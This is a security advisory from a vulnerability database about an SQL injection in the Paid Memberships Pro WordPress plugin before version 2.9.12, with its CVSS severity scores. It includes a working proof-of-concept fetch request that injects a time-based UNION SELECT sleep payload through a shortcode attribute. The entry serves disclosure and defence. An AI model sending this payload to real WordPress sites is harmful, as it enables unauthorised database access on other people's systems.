Lucene search

K
wpvulndbMarc MontpasWPVDB-ID:19EF92FD-B493-4488-91F0-E6BA51362F79
HistoryFeb 27, 2023 - 12:00 a.m.

Paid Memberships Pro < 2.9.12 - Subscriber+ SQL Injection

2023-02-2700:00:00
Marc Montpas
wpscan.com
7

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

16.8%

The plugin does not prevent subscribers from rendering shortcodes that concatenate attributes directly into an SQL query.

PoC

While logged in as a subscriber, send the following request: (await fetch(‘/wp-admin/admin-ajax.php’,{method:‘POST’, headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’},body:‘action=parse-media-shortcode&shortcode;=[membership delay=“Y” levels=“(-1)) UNION SELECT sleep(10)-- ,L”]’})).text() If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.

CPENameOperatorVersion
paid-memberships-prolt2.9.12

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

16.8%

Related for WPVDB-ID:19EF92FD-B493-4488-91F0-E6BA51362F79